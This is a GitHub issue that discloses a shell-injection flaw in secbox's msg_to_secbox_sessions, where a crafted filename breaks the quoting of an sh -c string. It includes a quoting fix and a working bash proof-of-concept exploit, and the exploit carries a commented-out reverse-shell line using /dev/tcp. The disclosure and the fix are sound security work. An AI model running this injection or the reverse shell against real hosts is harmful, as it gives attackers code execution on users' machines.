Skip to content

msg_to_secbox_sessions: shell injection via $* in sh -c string #26

Description

@Harachili

podman container exec $container sh -c "echo "$*" > "$_pts""

$* embeds ${script_name}, which is derived from BASH_SOURCE[0] (the
invocation path). On Linux, filenames may contain ". A symlink whose name
contains " breaks the sh -c quoting, injecting arbitrary commands into
every active secbox terminal session.

Because the container bind-mounts the host's $HOME and /tmp, commands
execute with write access to the host user's home directory.

Expected result

./secbox_exploit.sh
[] pts sessions: /dev/pts/0
[
] Injecting into 1 session(s)...
==== Another secbox
[+] /tmp/sec_pwned created - code execution confirmed on host

Logs/Screenshots

./secbox_exploit.sh
[] pts sessions: /dev/pts/0
[
] Injecting into 1 session(s)...
==== Another secbox
[+] /tmp/sec_pwned created - code execution confirmed on host

Possible fixes

Rewrite
podman 2>/dev/null container exec $container sh -c "echo "$*" > "$_pts""

as

podman 2>/dev/null container exec "$container" sh -c 'printf "%s\n" "$1" > "$2"' -- "$*" "$_pts"

to get:
./secbox_exploit.sh
[] pts sessions: /dev/pts/0
[
] Injecting into 1 session(s)...
[-] /tmp/sec_pwned not found

POC

#!/usr/bin/env bash
# Exploit: command injection in secbox msg_to_secbox_sessions() - secbox:192
#
#   sh -c "echo \"$*\" > \"$_pts\""
#
# $* embeds script_name as is. A " in the name breaks sh -c quoting,
# injecting arbitrary commands into every active secbox terminal session.
# /tmp and $HOME are bind-mounted into the container -> writes reach the host.

set -u

SECBOX=/usr/bin/secbox

#  Load vulnerable function and its dependency from the real secbox 
eval "$(sed -n '/^msg_to_secbox_sessions()/,/^}/p' "$SECBOX")"
eval "$(sed -n '/^secbox_container_exists()/,/^}/p' "$SECBOX")"
container="secbox"

secbox_container_exists || { echo "[!] secbox container not running"; exit 1; }

#  Spawn a pty-attached exec to register /dev/pts/N inside the container 
podman container exec -t secbox sleep 10 >/dev/null 2>&1 &
_bg=$!
sleep 1

pts=$(podman container exec secbox \
    find /dev/pts/ -maxdepth 1 -regex '^/dev/pts/[0-9]+$' 2>/dev/null)

if [[ -z "$pts" ]]; then
    echo "[!] No pts sessions found - open a 'secbox' interactive terminal first"
    kill "$_bg" 2>/dev/null
    exit 1
fi

echo "[*] pts sessions: $(printf '%s' "$pts" | tr '\n' ' ')"

#  Payload 
# /tmp is bind-mounted from the host: sec_pwned will appear on both sides.
payload='touch /tmp/sec_pwned'

# Reverse shell - set LHOST/LPORT, then swap the payload lines:
# payload='bash -i >& /dev/tcp/LHOST/LPORT 0>&1 &'

#  Inject via crafted script_name 
# Breaks the sh -c string:
#   sh -c "echo \"==== Another secbox\"; <PAYLOAD>; echo \" instance...\" > \"$_pts\""
injected_name="secbox\"; ${payload}; echo \""
message="==== Another ${injected_name} instance has mounted dist:/mounts in /mounts ===="

echo "[*] Injecting into $(printf '%s\n' "$pts" | wc -l) session(s)..."
msg_to_secbox_sessions "$message"

sleep 0.3

if [[ -f /tmp/sec_pwned ]]; then
    echo "[+] /tmp/sec_pwned created - code execution confirmed on host"
    rm -f /tmp/sec_pwned
else
    echo "[-] /tmp/sec_pwned not found"
fi

wait "$_bg" 2>/dev/null || true

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions